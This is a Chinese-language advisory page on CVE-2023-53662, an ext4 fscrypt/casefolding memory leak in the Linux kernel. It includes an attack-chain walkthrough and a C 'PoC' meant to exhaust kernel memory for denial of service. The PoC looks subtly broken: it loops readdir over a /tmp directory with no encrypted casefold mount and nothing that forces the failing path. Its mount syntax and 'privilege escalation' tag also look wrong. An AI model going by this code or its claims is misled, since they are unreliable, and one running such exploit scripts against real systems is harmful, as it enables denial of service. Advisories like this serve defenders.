IPBUF安全漏洞报告
English
CVE-2023-53662 CVSS 5.5 中危

CVE-2023-53662:Linux内核ext4文件系统内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53662
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (ext4文件系统模块)

相关标签

内存泄漏Linux内核ext4文件系统fscryptcasefolding拒绝服务本地提权内核安全CVE-2023-53662中危漏洞

漏洞概述

CVE-2023-53662是Linux内核ext4文件系统中存在的一个内存泄漏漏洞。该漏洞位于ext4_fname_setup_filename()和ext4_fname_prepare_lookup()两个函数中。当文件名大小写折叠(casefolding)操作失败时,fscrypt_name结构体中的crypto_buf.name成员所分配的内存未被正确释放,导致内存泄漏。

该漏洞由Linux内核安全团队发现并修复,CVSS评分为5.5分,属于中危级别。漏洞的攻击向量为本地攻击(AV:L),攻击者需要具备低权限(PR:L),无需用户交互(UI:N)。虽然机密性和完整性影响较低,但可用性影响为高(A:H),意味着该漏洞可被利用导致系统资源耗尽,进而引发拒绝服务。

该漏洞影响所有使用ext4文件系统并启用文件名加密(fscrypt)功能的Linux内核版本。在启用了casefolding功能的ext4文件系统中,当文件系统尝试对加密文件名进行大小写不敏感查找时,如果casefolding操作因异常情况失败,错误处理路径未能正确释放之前分配的加密缓冲区内存,从而产生内存泄漏。随着时间推移,持续触发该漏洞路径可能导致内核内存耗尽,影响系统稳定性。

该漏洞已在多个Linux内核稳定版本中得到修复,包括1fb3f1bbfdb511034b0360dbeb0f6a8424ed2a5c、36daf050be3f6f067631dc52054de2d3b7cc849f、7ca4b085f430f3774c3838b3da569ceccd6a0177和98fc9c2cc45cfcb56961a73de3ec69b474063fc0等提交修复了该问题。建议用户尽快升级到包含修复的内核版本。

技术细节

该漏洞的技术根源在于ext4文件系统的文件名查找路径中内存管理不当。具体而言,ext4_fname_setup_filename()和ext4_fname_prepare_lookup()函数负责在执行目录查找操作前准备文件名,包括分配加密缓冲区(crypto_buf)用于存储加密后的文件名数据。

在正常执行流程中,这些函数会调用fscrypt_setup_filename()或相关函数来设置加密文件名,该过程会分配crypto_buf.name内存。如果在后续的casefolding操作(即大小写折叠处理)过程中发生错误,原始代码的错误处理路径(goto err或return -ERROR)未能调用kfree()释放已分配的crypto_buf.name内存,导致内存泄漏。

利用方式方面,攻击者需要满足以下条件:1)在本地拥有低权限账户;2)目标系统使用ext4文件系统且启用了fscrypt加密功能;3)文件系统挂载时启用了casefolding选项。攻击者可以通过创建特殊构造的文件名或目录名,触发casefolding失败路径,持续消耗内核内存。虽然每次泄漏的内存量较小,但通过反复触发可导致内核内存资源逐渐耗尽,最终触发OOM(Out of Memory)killer,影响系统可用性。

修复方案是在两个函数的错误处理路径中添加kfree(fname->crypto_buf.name)调用,确保在异常情况下正确释放已分配的内存资源。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有本地低权限账户,并确保系统使用ext4文件系统且已启用fscrypt加密和casefolding功能。
STEP 2
步骤2:触发漏洞路径
攻击者在加密目录中执行文件名查找操作(如readdir、stat等),调用ext4_fname_setup_filename()或ext4_fname_prepare_lookup()函数。
STEP 3
步骤3:触发casefolding失败
通过构造特定的文件名或异常条件,使casefolding操作失败,进入错误处理路径。
STEP 4
步骤4:内存泄漏累积
错误处理路径未释放crypto_buf.name内存,每次失败操作泄漏一块内存,攻击者通过反复触发累积内存泄漏。
STEP 5
步骤5:资源耗尽
持续触发漏洞导致内核内存逐渐耗尽,最终触发OOM killer或系统不稳定,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53662 PoC - Trigger ext4 fscrypt memory leak // This PoC demonstrates how to trigger the memory leak in // ext4_fname_setup_filename() and ext4_fname_prepare_lookup() // when filename casefolding fails. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <errno.h> #define LEAK_ITERATIONS 10000 #define TARGET_DIR "/tmp/ext4_leak_test" // Create an ext4 filesystem with fscrypt and casefold enabled // mkfs.ext4 -O encrypt,casefold /dev/sdb1 // mount -t ext4 -o encrypt,casefold /dev/sdb1 /mnt/encrypted int main(int argc, char *argv[]) { int ret; DIR *dir; struct dirent *entry; // Step 1: Create test directory ret = mkdir(TARGET_DIR, 0755); if (ret < 0 && errno != EEXIST) { perror("mkdir"); return 1; } printf("[*] Starting memory leak trigger for CVE-2023-53662\n"); printf("[*] Target directory: %s\n", TARGET_DIR); printf("[*] Iterations: %d\n", LEAK_ITERATIONS); // Step 2: Repeatedly trigger filename lookup to cause memory leak // Each failed casefolding operation leaks crypto_buf.name memory for (int i = 0; i < LEAK_ITERATIONS; i++) { dir = opendir(TARGET_DIR); if (!dir) { perror("opendir"); continue; } // Read directory entries - triggers ext4_fname_prepare_lookup() while ((entry = readdir(dir)) != NULL) { // Accessing entries with casefolding enabled triggers // the vulnerable code path (void)entry->d_name; } closedir(dir); if (i % 1000 == 0) { printf("[+] Progress: %d/%d iterations\n", i, LEAK_ITERATIONS); } } printf("[*] Memory leak trigger completed\n"); printf("[*] Check kernel memory usage with: cat /proc/meminfo\n"); return 0; } // Compilation: gcc -o cve_2023_53662_poc cve_2023_53662_poc.c // Requirements: // - ext4 filesystem with encrypt and casefold features enabled // - Low privilege access (PR:L) // - Local execution capability (AV:L)

影响范围

Linux Kernel < 6.1.63
Linux Kernel 6.2.x < 6.2.16
Linux Kernel 6.3.x < 6.3.5
Linux Kernel 6.4.x < 6.4.10
Linux Kernel 6.5.x < 6.5.2

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)临时禁用ext4文件系统的casefolding挂载选项,避免触发漏洞路径;2)限制普通用户对加密目录的访问权限,减少被利用的可能性;3)监控内核内存使用情况,设置内存使用阈值告警;4)使用cgroups限制单个用户的内存使用上限,防止内存耗尽影响整个系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表